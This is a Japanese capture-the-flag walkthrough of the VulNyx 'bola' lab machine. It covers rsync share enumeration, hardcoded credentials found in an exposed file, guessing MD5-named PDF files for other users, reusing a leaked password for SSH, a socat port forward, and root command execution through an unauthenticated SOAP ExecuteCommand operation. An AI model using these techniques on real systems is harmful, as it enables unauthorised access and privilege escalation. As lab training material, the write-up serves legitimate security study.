情報収集#
まず、Nmap を使用してポートスキャンを行い、ターゲット IP は192.168.56.51
、スキャン結果は以下の通りです:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail
# Nmap 7.95 scan initiated Fri Feb 7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open rsync (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
見ることができるのは:
-
ポート
80
ではApache 2.4.62
が稼働しており、アクセスすると自動的にhttp://bola.nyx/
にリダイレクトされるため、/etc/hosts
に解決を追加する必要があります:192.168.56.51 bola.nyx
-
ポート
873
ではrsync
が稼働しており、未承認のアクセスや機密ファイルの漏洩が存在する可能性があります。
Web 端初歩的探査#
curl
を使用して直接 80
ポートにリクエストを送り、リダイレクトのロジックを確認します:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51
302
が返され、http://bola.nyx/
にリダイレクトされ、ページを開くとログイン画面が表示され、登録を試みると無効であることがわかり、一時的に Web を諦めることになりました。
Rsync サービスの利用#
rsync
が機密ファイルを露出する可能性があるため、共有ディレクトリの列挙を行う簡単なスクリプトを作成します:
for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do
echo $i
rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done
(目が良ければ) 最終的に extensions
ディレクトリ内でファイルを発見し、直接ローカルに同期します:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync
ダウンロードした rsync
ディレクトリ内で grep
キーワード password
を使用し、ハードコーディングされた資格情報を成功裏に発見します:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "[email protected]", password: "sbIJ0x9g{C3`" }
Web バックエンドアクセス#
資格情報 [email protected] / sbIJ0x9g{C3
を取得した後、http://bola.nyx/admin/admin.php
にログインを試みると、バックエンドには PDF ファイルのダウンロードリンクしかなく、他には何もありません。PDF を簡単に閲覧すると、WSDL Server
の紹介があり、今後の突破口は WSDL インターフェースの浸透に関連している可能性があると推測します。
WSDL(Web Services Description Language) は、XML ベースの Web サービス記述言語で、通常は SOAP 通信に使用されます。
また、PDF ファイルのダウンロードリンクは次の通りです:
http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf
ファイル包含を試み、パスと拡張子を Fuzz し、先ほどログインしたクッキーを忘れずに付けます:
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5
結果なし。
その後、dirsearch でスキャンを行い、新しい情報を発見しました:
http://bola.nyx/.well-known/openid-configuration
openid-configuration は OAuth 2.0 - OpenID Connect の設定ファイルです。
多くの情報が提供され、一時的にどう利用するか分からず、思考が途切れました。
その後、PDF ファイル名が md5 暗号化された文字列であることがわかり、解読できることが判明しましたが、いくつかの md5 解読サイトで失敗し、cmd5 は有料であるため、ここに結果を直接貼り付けます:jackie0x17
確認します:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8 -
このことから、他のユーザー名に対応する PDF
が存在する可能性があると推測し、計算を試みます:
echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70 -
echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85 -
上記の最初のものを使用して新しい PDF を成功裏にダウンロードしました ——『WSDL Server VulNyx - How to Connect』、以下のコードを見つけました:
"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""
from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()
ここで admin
アカウントのパスワードは:VulNyxtestinglogin123
です。検証の結果、SSH 資格情報のセットを取得しました:d4t4s3c:VulNyxtestinglogin123
d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt
これで User Flag を取得しました。
権限昇格#
ターゲットポート情報の確認#
ss -plntu
コマンドを使用して現在リッスンしているポートを確認します:
d4t4s3c@bola:~$ ss -plntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 5 [::]:873 [::]:*
9000 ポート では WSDL サービスが稼働していますが、ローカルでのみリッスンしています。
ポート転送#
9000
ポートが外部に公開されていないため、socat
を使用してポート転送を行い、外部からアクセスできるようにします:
socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &
これで http://192.168.56.51:8000/wsdl
を通じて WSDL サービスにアクセスできるようになります。
WSDL サービスの分析#
WSDL にアクセスすると、そのインターフェース定義が表示されます:
<definitions name="VulNyxSOAP"
targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<message name="LoginRequest">
<part name="username" element="username"/>
<part name="password" element="password"/>
</message>
<message name="ExecuteCommandRequest">
<part name="cmd" element="cmd"/>
</message>
<portType name="VulNyxSOAPPortType">
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>
<binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="VulNyxSOAP">
<port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
<soap:address location="http://localhost:9000/wsdl/" />
</port>
</service>
</definitions>
具体的な定義は curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl
で確認できます。
ExecuteCommandRequest
でコマンドを実行できることがわかり、RCE の脆弱性が疑われます。
ここで ReadyAPI を使用して SOAP リクエストを自動構築します。以下の図は具体的な操作手順です:
これで追加が完了しました。
ExecuteCommand
を選択し、cmd
パラメータにコマンドを入力すると、コマンドが正常に実行されることがわかりました:
id がすでに root になっているのが確認できます。
次はシェルを反転させるか、直接フラグを読むだけです。
私の提案は /etc/passwd
にユーザーを追加し、直接切り替えることです:
また、国産の API テストソフト Apifox を使用しようとしましたが、WSDL のサポートが限られているため、SOAP リクエストを自動構築できず、インターフェーステストに成功しませんでした。しかし、国産ソフトウェアが今後も進化し、より多くのセキュリティテストシーンで役立つことを期待しています!
使用方法を補足します:
まず CTRL+O でデータをインポートします:
現在、Apifox は URL から WSDL ファイルを直接インポートすることをサポートしておらず、ローカルの WSDL ファイルのアップロードのみをサポートしています。
wget http://IP
:8000?wsdl -O service.wsdl
その後、ドラッグ&ドロップで追加できます。
成功したインポートの効果: